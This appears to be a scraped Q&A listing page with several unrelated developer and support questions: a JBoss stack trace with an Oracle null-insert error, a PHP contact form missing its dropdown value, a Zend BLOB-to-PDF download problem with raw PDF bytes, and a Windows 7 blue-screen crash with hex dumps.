org.jboss.ejb3.tx.NullInterceptor.invoke(NullInterceptor.java:42) at org.jboss.aop.joinpoint.MethodInvocation.invokeNext(MethodInvocation.java:102) at org.jboss.ejb3.security.Ejb3AuthenticationInterceptorv2.invoke(Ejb3AuthenticationInterceptorv2.java:186) at org.jboss.aop.joinpoint.MethodInvocation.invokeNext(MethodInvocation.java:102) at org.jboss.ejb3.ENCPropagationInterceptor.invoke(ENCPropagationInterceptor.java:41) at org.jboss.aop.joinpoint.MethodInvocation.invokeNext(MethodInvocation.java:102) at org.jboss.ejb3.BlockContainerShutdownInterceptor.invoke(BlockContainerShutdownInterceptor.java:67) at org.jboss.aop.joinpoint.MethodInvocation.invokeNext(MethodInvocation.java:102) at org.jboss.aspects.currentinvocation.CurrentInvocationInterceptor.invoke(CurrentInvocationInterceptor.java:67) at org.jboss.aop.joinpoint.MethodInvocation.invokeNext(MethodInvocation.java:102) at org.jboss.ejb3.session.SessionSpecContainer.invoke(SessionSpecContainer.java:176) at org.jboss.ejb3.session.SessionSpecContainer.invoke(SessionSpecContainer.java:216) at org.jboss.ejb3.proxy.impl.handler.session.SessionProxyInvocationHandlerBase.invoke(SessionProxyInvocationHandlerBase.java:207) at org.jboss.ejb3.proxy.impl.handler.session.SessionProxyInvocationHandlerBase.invoke(SessionProxyInvocationHandlerBase.java:164) at $Proxy298.persistEntity(Unknown Source) at backing.SolicitudCambio.generarCambio(SolicitudCambio.java:521) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at com.sun.faces.el.MethodBindingImpl.invoke(MethodBindingImpl.java:146) at com.sun.faces.application.ActionListenerImpl.processAction(ActionListenerImpl.java:92) at javax.faces.component.UICommand.broadcast(UICommand.java:332) at javax.faces.component.UIViewRoot.broadcastEvents(UIViewRoot.java:287) at javax.faces.component.UIViewRoot.processApplication(UIViewRoot.java:401) at com.sun.faces.lifecycle.InvokeApplicationPhase.execute(InvokeApplicationPhase.java:95) at com.sun.faces.lifecycle.LifecycleImpl.phase(LifecycleImpl.java:245) at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:110) at javax.faces.webapp.FacesServlet.service(FacesServlet.java:213) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.myfaces.webapp.filter.ExtensionsFilter.doFilter(ExtensionsFilter.java:301) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:235) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:191) at org.jboss.web.tomcat.security.SecurityAssociationValve.invoke(SecurityAssociationValve.java:190) at org.jboss.web.tomcat.security.JaccContextValve.invoke(JaccContextValve.java:92) at org.jboss.web.tomcat.security.SecurityContextEstablishmentValve.process(SecurityContextEstablishmentValve.java:126) at org.jboss.web.tomcat.security.SecurityContextEstablishmentValve.invoke(SecurityContextEstablishmentValve.java:70) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.jboss.web.tomcat.service.jca.CachedConnectionValve.invoke(CachedConnectionValve.java:158) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:330) at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:829) at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:598) at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:447) at java.lang.Thread.run(Unknown Source) Caused by: java.sql.BatchUpdateException: ORA-01400: no se puede realizar una inserción NULL en ("CDC"."OBJETOS_CAMBIO"."ID_CAMBIO") Thanks in advance! JM.-

    Read the article

  • Getting Selected Dropdown content to show in a form-generated email

    - by fmz
    I have a small contact form: <form method="post" action="contact.php" name="contactform" id="contactform"> <fieldset> <legend>Please fill in the following form to contact us</legend> <label for="name"><span class="required">*</span> Your Name</label> <input name="name" type="text" id="name" size="30" value="" /> <br /> <label for="company"><span class="required">*</span> Company</label> <input name="company" type="text" id="name" size="30" value="" /> <br /> <label for="email"><span class="required">*</span> Email</label> <input name="email" type="text" id="email" size="30" value="" /> <br /> <label for="phone"><span class="required">*</span> Phone</label> <input name="phone" type="text" id="phone" size="30" value="" /> <br /> <label for="purpose"><span class="required">*</span> Purpose</label> <select id="purpose" style="width: 300px; height:35px;"> <option value="I am interested in your services">I am interested in your services!</option> <option value="I am interested in a partnership">I am interested in a partnership!</option> <option value="I am interested in a job">I am interested in a job!</option> </select> <br /> <label for=comments><span class="required">*</span> Comments</label> <textarea name="comments" cols="40" rows="3" id="comments" style="width: 350px;"></textarea> <p><span class="required">*</span> Please help us control spam.</p> <label for=verify accesskey=V>&nbsp;&nbsp;&nbsp;3 + 1 =</label> <input name="verify" type="text" id="verify" size="4" value="" style="width: 30px;" /><br /><br /> <input type="submit" class="submit" id="submit" value="Submit" /> </fieldset> </form> I want to send the results of the form in a php generated email. Everything is coming through except the selected contents of the "purpose" drop down. Here is the PHP: <?php if(!$_POST) exit; $name = $_POST['name']; $company = $_POST['company']; $email = $_POST['email']; $phone = $_POST['phone']; $purpose = $_POST['purpose']; $comments = $_POST['comments']; $verify = $_POST['verify']; if(trim($name) == '') { echo '<div class="error_message">Attention! You must enter your name.</div>'; exit(); } else if(trim($company) == '') { echo '<div class="error_message">Attention! Please enter your company name.</div>'; exit(); } else if(trim($email) == '') { echo '<div class="error_message">Attention! Please enter a valid email address.</div>'; exit(); } else if(trim($phone) == '') { echo '<div class="error_message">Attention! Please enter a valid phone number.</div>'; exit(); } else if(!isEmail($email)) { echo '<div class="error_message">Attention! You have enter an invalid e-mail address, try again.</div>'; exit(); } if(trim($comments) == '') { echo '<div class="error_message">Attention! Please enter your message.</div>'; exit(); } else if(trim($verify) == '') { echo '<div class="error_message">Attention! Please enter the verification number.</div>'; exit(); } else if(trim($verify) != '4') { echo '<div class="error_message">Attention! The verification number you entered is incorrect.</div>'; exit(); } if($error == '') { if(get_magic_quotes_gpc()) { $comments = stripslashes($comments); } // Configuration option. // Enter the email address that you want to emails to be sent to. // Example $address = "[email protected]"; $address = "[email protected]"; // Configuration option. // i.e. The standard subject will appear as, "You've been contacted by John Doe." // Example, $e_subject = '$name . ' has contacted you via Your Website.'; $e_subject = 'You\'ve been contacted by ' . $name . '.'; // Configuration option. // You can change this if you feel that you need to. // Developers, you may wish to add more fields to the form, in which case you must be sure to add them here. $e_body = "You have been contacted by $name.\r\n\n"; $e_content = "Comments: \"$comments\"\r\n\n"; $e_company = "Company: $company\r\n\n"; $e_purpose = "Reason for contact: $purpose\r\n"; $e_reply = "You can contact $name via email, $email or via phone $phone"; $msg = $e_body . $e_content . $e_company . $e_purpose . $e_reply; if(mail($address, $e_subject, $msg, "From: $email\r\nReply-To: $email\r\nReturn-Path: $email\r\n")) { // Email has sent successfully, echo a success page. echo "<fieldset>"; echo "<div id='success_page'>"; echo "<h1>Email Sent Successfully.</h1>"; echo "<p>Thank you <strong>$name</strong>, your message has been submitted to us.</p>"; echo "</div>"; echo "</fieldset>"; } else { echo 'ERROR!'; } } function isEmail($email) { // Email address verification, do not edit. return(preg_match("/^[-_.[:alnum:]]+@((([[:alnum:]]|[[:alnum:]][[:alnum:]-]*[[:alnum:]])\.)+(ad|ae|aero|af|ag|ai|al|am|an|ao|aq|ar|arpa|as|at|au|aw|az|ba|bb|bd|be|bf|bg|bh|bi|biz|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|com|coop|cr|cs|cu|cv|cx|cy|cz|de|dj|dk|dm|do|dz|ec|edu|ee|eg|eh|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gh|gi|gl|gm|gn|gov|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|in|info|int|io|iq|ir|is|it|jm|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mil|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|museum|mv|mw|mx|my|mz|na|name|nc|ne|net|nf|ng|ni|nl|no|np|nr|nt|nu|nz|om|org|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|pro|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)$|(([0-9][0-9]?|[0-1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5])\.){3}([0-9][0-9]?|[0-1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5]))$/i",$email)); } ?> What am I missing? Thanks.

    Read the article

  • Zend/PHP: Problem uploading/downloading file to/from MySQL's BLOB field.

    - by NAVEED
    I am uploading file(any type) like this: (It is uploading content of file in blob field of mysql) $organizationModel = new Model_Organization_Object( organizationId ); $myFile = file_get_contents( '../path/to/my/file/filename.ext' ); $organizationModel->setOrganizationProfile( $myFile ); $organizationModel->save(); Now I want to get that file from database and want to download. I doing this in controller's action: (I am aspecting pdf file here therefore it is hardcoded below. But in future I want to download any file from blob field) $organizationModel = new Model_Organization_Object( $organizationId ); $content = $organizationModel->getOrganizationProfile(); header('Content-Type: application/octet-stream'); header("Content-Length: " . strlen($content) ); header('Content-Disposition: attachment; filename=orgProfile.pdf'); $this->view->organizationProfile = $content; Now in view file I am doing this: echo $this-organizationProfile; But above download process print(echo) the content of file in firbug and does not download file in orignal format. My echo output in firebug is like this: %PDF-1.3 %???? 84 0 obj << /Linearized 1 /O 86 /H [ 541 212 ] /L 958398 /E 11238 /N 27 /T 956600 >> endobj xref 84 7 0000000016 00000 n 0000000486 00000 n 0000000753 00000 n 0000000982 00000 n 0000001102 00000 n 0000000541 00000 n 0000000732 00000 n trailer << /Size 91 /Info 83 0 R /Root 85 0 R /Prev 956590 /ID[<0a8d7035bf08791da591e8cae39b8c49><0a8d7035bf08791da591e8cae39b8c49>] >> startxref 0 %%EOF 85 0 obj << /Type /Catalog /Pages 82 0 R >> endobj 89 0 obj << /S 151 /Filter /FlateDecode /Length 90 0 R >> stream H?b```f``?e`b`?f`@\0?.????\\I~aV$?X??dO????bA?Az?lv1o#?{-????1+??G?????N`?b? >?-?? \0\0D40 endstream endobj 90 0 obj 106 endobj 86 0 obj << /Type /Page /Contents 87 0 R /Parent 79 0 R /Resources << /XObject << /img0 88 0 R >> /ProcSet [ /PDF /Text /ImageB /ImageC /ImageI ] >> /MediaBox [ 0 0 612 792 ] /CropBox [ 0 0 612 792 ] /Rotate 0 >> endobj 87 0 obj << /Filter /FlateDecode /Length 46 >> stream x?+T05???P0\0Bs#SC=S3c3??\\???t?|?@.\0??? endstream endobj 88 0 obj << /Filter /FlateDecode /Type /XObject /Length 8926 /BitsPerComponent 8 /Height 1122 /ColorSpace [ /Indexed /DeviceRGB 255 (\0\0\0JJJkkk{{{????????????????????????????????????\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0) ] /Subtype /Image /Width 793 >> stream x???v??\0?bF???mf?\\3??k?~? ?7uj??\\\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0~??/\0~??/\0~?&|??tp?pKS ????Fc???!?Q~?72?&???>???]?$?KUo????9?Tx??E8U}?????? _#=??6 Q{????v?T|s?>\\??w??.|??8?7Q????o.?o????????G??x??|?Is:??????oN>4???jJ?F?v? ? V?q<???P?????I>?.|?iT? ???Ç?Q?m????G?8c`????a`<?.|??~`????OG!?x7j??K*]??S?1??_??1\'?D?????0??\"?w\\?e?????<F:4????E-??Fa????O?v????9??_ m???P??8iuTr?i?FX?????<C? ????t:?(0??I>?2`????.???:??pv:???A??<$M??????e9??\\c???.0???t?kum?K;??<???\\@?]f/?h??m_???g???l?8&??*??2?-??Ew?4[j?v?(?????p?T???M--?8 cb??]?h??pN???kt?J$?m???X???5Cr?]?Jm?VP?X?Ð!? ?$???-?PM??O]??,?h???r=???qV}?p*?c?uq??t??????R6v??l8?I?e?9 {s\\K _?CN?^??W?8%p\']?2U?D{???Z?EB?*?d?va1^??Z\"?7?t]?TL?^??d???.|?4?q?2?&2??S{(??G?vNi4?D?K?)_^?]???D]DK???j?9????OQ?]???us?n?T4?om?P??E?|?t??w?????c?7>!]?\"}$??:??<????[9?C??Wi?u?su#9?\0?t?u=??=w??Q??A??.?dyb vN?N\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0??U/????<??v????S?A\\??qkm? !???&??J????!,??+?w;????{?!D???K×%5?E???????|n?FT*,? ?? ?j#Q??uT~r:}\\?_?????v???8Q?&? ???T?S?I\"?(>Y??????}H??aj?3??u?h?T?X?Z?-~??c\'P?^??d?????????]_???z??O]?q?????7??|?mN%??????T?????o???sUzT???m?v8?q? ??e]?wS???C~Ta???.??[%!??????2x]n~?7??????6.????K??;c }????r?)V?? u???*?7?$c\\???m?~???r??)U{?????????R?? ??D1L_????WUog?>??/?????????~?%???M???}\'?? ;???y??K`?????O?,??????<?,0???;3 #??m?v???aZ=?N?u?J`??dwnm;??.??k?n?K1-M?7????H&??????s?C??? ?}Z?1????c?(0?q?_1??7?%???G7U/??h9I??????S?Q??4nc?Lq??H6??;??c(/O??2???-?*_????%?I?/??I?o????ô?k??<????q??\'??]v?\"??+????,????qxgk?\\\\?6???7??Y???.G???Y??8??.??*???M_??J?hu1????z??W?o_??F?/???s?:?Y~??>0?g\\E?l?K5e???&L?/????k$????{?:\\>??Fs?-??l?>c??o?????9?V+?2;??}q?4 ?zS?|u?A`dK???n~?s???K?hiY?j??#p???S?M\\???0P2?\\*?m+?L5Er????[W?>9|???i?????}`Nmc:Qv??]&|?_????fx???????Ns~w??to????K?M???uN????0J6q1??u(b?M?_?????7?]?m?\':????S@???4?????\\??@~Mn?????|}?9?F6_Vr ??7??{?_??_????Y?Go?9??f1????E?|?Ucd? ????????t7k?? }??:??n?M?_????#?M$DG???:Z??y??;g:?|????F?m??e?F*?uJ?C??-?v?%??^?*??????z:l???w?e???9??i?5j???x?~??Ao???a?x?{?UL??? ??#:???\'^?????W??f;?u???ejq¯?u[?2K8??e?>/?ug?@S??L???? ??u0uI~?z?YYV???[[O?T??-Y?u?j?M?_???n&??7O?f??s??z`.`?,W??#?l??n???s??\'?????=??&#?z?M7_????s???x??y? ??u?p?G???0?e?G????8]{??N?1}??}~Q?[)?XF??_??*? p7iQ????M?(?l????????????f??6????*??U;@~\\k?i??w_??*?#???^?j?\\?L??/?}?Y?[??V??t~?w?n??a???m?O?(.?n;??ji:??W?ZnQ[9?n=?^??sE9??;?.??u3\"???<?L??y8?<H???g??u??\\?q???71p?U??}???f`?Y??m3b*C?t{?SX??7m<??6??8K??[Qs??&_??(M??:?Z???W?????W? ??4d??4?A????lw?e?d?>? ?pCV??h?SS?Z?T??4?N?,?? ?8=-?%???4?p?a??~??R?L??=J??j}??"??,?(?x?????????o?ï??t??X7???~jQ?aK???Z*YL????X??/?m?ot?9&s0???O5??j=?7sb?l?Mh???y?}Q\\4?MM?i5&?Yf??hS??N????\'?\0?????i?9??G?$??R?A1[??Y?t??4b?}????u??3?Y??Il????{??[u??f??q???Z_;??|*?t?uTO??}b?a?0>????>?>w\'P?E??]????6???v?^?,?;?uE?f?;?> yo?eNS@?C???I??????Otf????4I??? ?s????*??G?\'?>?</?=T?CE??5NR?~??%?1?d^V??O??????????e||/b??^ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0~????+?W8??t????????}????????X?????7??/???\\}LM?????b?#?q];J??[U???(0N??t?????[??_V?!??%????-?7:?m???9??Dau?o]??^????*??,???h?o3f??[%?FW?W!?X#; ?>HC?-?\'/??^??\'?*?)??!?_?e?+TC?7O??I.?[?tN?,??Rs???u???^???????q??S??.?c?UR?????? ????M????FS???A????>?^K?|[?]z~7??7u???7V]L?|??l???]?[e?+u?????{U}???Em??IWbV7????/v?x?zk??F@.??5?G?Í>f??_???Gg?}??tc??&R???n???G-?N]/?w?? ????f?}Ue%?;?~?:????`6(??_???g???`? E~?p06?}#/?G=????;??<$Y???l??m?T??@Y??p?????r??.?H?>\0.Ih??~???!?N/^o? ??&v??R???9?suJ?r???JZg?z?Y?7??^?J??H>{[?vQ????qw?e{{?l????????u]?.Z?xh%7??>?|???b`?K?|I\"?nh?m?????m?z5Qpw??N3???y?)??k??????,?Ws*SJ]????????!?o?Iq3~x??Az{?v]\'?k????k???Dc ?]??l?)L??? I8eG#r?dC??;??/C???l???rm???????e?6?M??fP?4?r??)?!?\\s???{??!cN??h??>?? ??o>??m?dO=&<??P??]=]???n?v??y?l??\"?K??????rF?I???)Z??]n?J??N?w???S/S??w???R6}\'u??kN?K`?C/???N??,??o??I?>?S?(??hOV????-]?p?r??0??u?(?,a????/???\"o;???44????P?9K!O]??x?r?}??8?????w?4?|?el7U??l.}|w?- ?=?Lq??e<&??g?/z8??7??:n?????ï??~??_?a???&?7sy???,?3?1??rV???m?????s??C?x50?????g???\\??!??????e?????/Cl?Y???:??jz3??????/?a?]}??\\n???BZ?0?J-+u??????x?=??CC??M??W[??v<???S14?????\\C?Z ??g???q:?u?C?k?vc?K?;??\"Y?t?r]??G?z????w???r??????0??????e?:??/f?*^?W?Q8WsN??9}*?|??~x)?N?=6J?l????M?b??????M45?C?k]??r?u??????r ] Can someone help that how to download file or I am doing something wrong with uploading process. setOrganizationProfile() and getOrganizationProfile() function are created by me which are working fine while storing/getting data to/from database. Thanks

    Read the article

  • hall.dll errors

    - by Robert Elliott
    I am getting frequent BSoDs, mostly with hall.dll errors. I have Dell Inspiron laptop running Windows 7 SP1. The following file, werfault, is shown below. Can anyone help me work out what is wrong? Version=1 EventType=BlueScreen EventTime=129987824768810026 ReportType=4 Consent=1 ReportIdentifier=1c3e1c58-3b30-11e2-9074-002219f61870 IntegratorReportIdentifier=113012-32557-01 Response.type=4 DynamicSig[1].Name=OS Version DynamicSig[1].Value=6.1.7601.2.1.0.768.3 DynamicSig[2].Name=Locale ID DynamicSig[2].Value=2057 UI[2]=C:\Windows\system32\wer.dll UI[3]=Windows has recovered from an unexpected shutdown UI[4]=Windows can check online for a solution to the problem. UI[5]=&Check for solution UI[6]=&Check later UI[7]=Cancel UI[8]=Windows has recovered from an unexpected shutdown UI[9]=A problem caused Windows to stop working correctly. Windows will notify you if a solution is available. UI[10]=Close Sec[0].Key=BCCode Sec[0].Value=a Sec[1].Key=BCP1 Sec[1].Value=0000000000000000 Sec[2].Key=BCP2 Sec[2].Value=0000000000000002 Sec[3].Key=BCP3 Sec[3].Value=0000000000000000 Sec[4].Key=BCP4 Sec[4].Value=FFFFF80002C0E477 Sec[5].Key=OS Version Sec[5].Value=6_1_7601 Sec[6].Key=Service Pack Sec[6].Value=1_0 Sec[7].Key=Product Sec[7].Value=768_1 File[0].CabName=113012-32557-01.dmp File[0].Path=113012-32557-01.dmp File[0].Flags=589826 File[0].Type=2 File[0].Original.Path=C:\Windows\Minidump\113012-32557-01.dmp File[1].CabName=sysdata.xml File[1].Path=WER-75941-0.sysdata.xml File[1].Flags=589826 File[1].Type=5 File[1].Original.Path=C:\Users\Robert\AppData\Local\Temp\WER-75941-0.sysdata.xml File[2].CabName=Report.cab File[2].Path=Report.cab File[2].Flags=196608 File[2].Type=7 File[2].Original.Path=Report.cab FriendlyEventName=Shut down unexpectedly ConsentKey=BlueScreen AppName=Windows AppPath=C:\Windows\System32\WerFault.exe *********From the minidump file**** RAX = fffff88002f22150 RBX = fffffa80074141f0 RCX = 000000000000000a RDX = 0000000000000000 RSI = fffffa8007278180 RDI = 0000000000000001 R9 = 0000000000000000 R10 = fffff80002c0e477 R11 = 0000000000000000 R12 = fffffa800523e7a0 R13 = 0000000000001000 R14 = 0000000000000028 R15 = fffffa80074141f0 RBP = fffff88002f22210 RIP = fffff80002cd3fc0 RSP = fffff88002f22048 SS = 0000 GS = 002b FS = 0053 ES = 002b DS = 002b CS = 0010 Flags = 00200286 fffff800`02e99ac0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e99ad0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e99ae0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e99af0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e99b00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e99b10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e99b20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e99b30 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 ................ fffff800`02e99b40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e99b50 00 00 00 00 00 00 00 00 00 00 00 00 ............ fffff800`02e81928 00 00 00 00 .... fffff800`02e81924 00 00 00 00 .... fffff800`02e0a880 37 36 30 31 2E 31 37 39 34 34 2E 61 6D 64 36 34 7601.17944.amd64 fffff800`02e0a890 66 72 65 2E 77 69 6E 37 73 70 31 5F 67 64 72 2E fre.win7sp1_gdr. fffff800`02e0a8a0 31 32 30 38 33 30 2D 30 33 33 33 00 00 00 00 00 120830-0333..... fffff800`02e0a8b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e0a8c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e0a8d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e0a8e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e0a8f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e0a900 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e0a910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e0a920 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e0a930 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e0a940 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e0a950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ fffff800`02e0a960 35 36 65 38 62 61 31 33 2D 37 30 32 39 2D 34 37 56e8ba13-7029-47 fffff800`02e0a970 32 38 2D 61 35 30 36 2D 32 64 64 62 34 61 30 63 28-a506-2ddb4a0c fffff800`02c0e000 C5 0F 85 79 02 00 00 8B 9C 24 90 00 00 00 E9 A5 ...y.....$...... fffff800`02c0e010 00 00 00 44 2B C3 45 33 C9 E8 5E 14 00 00 49 3B ...D+.E3..^...I; fffff800`02c0e020 C5 74 2B 44 8B 8C 24 90 00 00 00 48 8B C8 41 8D .t+D..$....H..A. fffff800`02c0e030 51 FF 41 3B D5 76 0D 44 8B C2 49 83 E8 01 48 8B Q.A;.v.D..I...H. fffff800`02c0e040 49 08 75 F6 48 89 79 08 41 03 D9 48 8B F8 3B DD I.u.H.y.A..H..;. fffff800`02c0e050 75 08 48 8B C7 E9 26 02 00 00 48 8B 96 98 00 00 u.H...&...H..... fffff800`02c0e060 00 48 8D 84 24 90 00 00 00 44 8B C5 48 89 44 24 .H..$....D..H.D$ fffff800`02c0e070 28 44 2B C3 45 33 C9 48 8B CE 44 88 6C 24 20 E8 (D+.E3.H..D.l$ . fffff800`02c0e080 CC 14 00 00 49 3B C5 74 2B 44 8B 8C 24 90 00 00 ....I;.t+D..$... fffff800`02c0e090 00 48 8B C8 41 8D 51 FF 41 3B D5 76 0D 44 8B C2 .H..A.Q.A;.v.D.. fffff800`02c0e0a0 49 83 E8 01 48 8B 49 08 75 F6 48 89 79 08 41 03 I...H.I.u.H.y.A. fffff800`02c0e0b0 D9 48 8B F8 3B DD 74 9A 44 38 AE 28 01 00 00 0F .H..;.t.D8.(.... fffff800`02c0e0c0 85 DF 00 00 00 48 8D 44 24 30 4C 8D 8C 24 A0 00 .....H.D$0L..$.. fffff800`02c0e0d0 00 00 4C 8D 84 24 A8 00 00 00 8B D5 48 8B CE 48 ..L..$......H..H fffff800`02c0e0e0 89 44 24 20 E8 F7 1F 00 00 8B F8 89 84 24 90 00 .D$ .........$.. fffff800`02c0e0f0 00 00 41 3B C5 0F 84 83 01 00 00 4C 8B A4 24 A8 ..A;.......L..$. fffff800`02c0e100 00 00 00 44 8B 84 24 A0 00 00 00 48 8B 8E 98 00 ...D..$....H.... fffff800`02c0e110 00 00 49 8B D4 44 8B C8 E8 DB 1B 00 00 49 3B C5 ..I..D.......I;. fffff800`02c0e120 74 35 48 8B 96 98 00 00 00 48 8D 84 24 90 00 00 t5H......H..$... fffff800`02c0e130 00 41 B1 01 48 89 44 24 28 44 8B C5 48 8B CE 44 .A..H.D$(D..H..D fffff800`02c0e140 88 6C 24 20 E8 43 12 00 00 49 3B C5 0F 84 2C 01 .l$ .C...I;...,. fffff800`02c0e150 00 00 E9 29 01 00 00 48 8B 5C 24 30 49 3B DD 74 ...)...H.\$0I;.t fffff800`02c0e160 2A 4D 3B E5 74 0C 48 8B D3 49 8B CC FF 15 AE CE *M;.t.H..I...... fffff800`02c0e170 01 00 48 8B CB FF 15 95 CF 01 00 33 D2 48 8B CB 